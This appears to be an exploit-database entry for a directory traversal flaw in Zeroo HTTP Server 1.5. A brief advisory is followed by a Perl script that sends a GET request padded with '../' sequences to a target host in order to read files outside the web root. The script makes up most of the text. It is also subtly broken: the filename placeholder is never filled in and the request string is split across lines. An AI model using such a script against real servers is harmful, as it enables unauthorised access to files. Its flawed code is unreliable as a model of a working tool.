Zeroo HTTP Server 1.5 - Directory Traversal (2)

source: https://www.securityfocus.com/bid/6308/info
 
It has been reported that Zeroo fails to properly sanitize web requests. By sending a malicious web request to the vulnerable server, using directory traversal sequences, it is possible for a remote attacker to access sensitive resources located outside of the web root.
 
An attacker is able to traverse outside of the established web root by using dot-dot-slash (../) directory traversal sequences. An attacker may be able to obtain any web server readable files from outside of the web root directory.

#!/usr/bin/perl
use IO::Socket;
$pkt = "GET /../../../../../../../../../../../../../../../../../../../../%s
HTTP/1.0\r\n\r\n";
if (@ARGV < 2 || @ARGV > 3) {
print STDOUT "Usage: perl $0 [filename] [host] [port=80]";
exit;
}
if (@ARGV==3) {
$port=$ARGV[2];
} else {
$port=80;
}
$f = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$ARGV[1],PeerPort=>$port);
if (!defined($f)) {
$err=sprintf("Cannot connect to %s on port %d",$ARGV[1],$port);
print STDOUT $err;
exit;
}
$f->autoflush(1);
print $f $pkt;
while (defined($line = <$f>)) {
print STDOUT $line;
}
undef $f;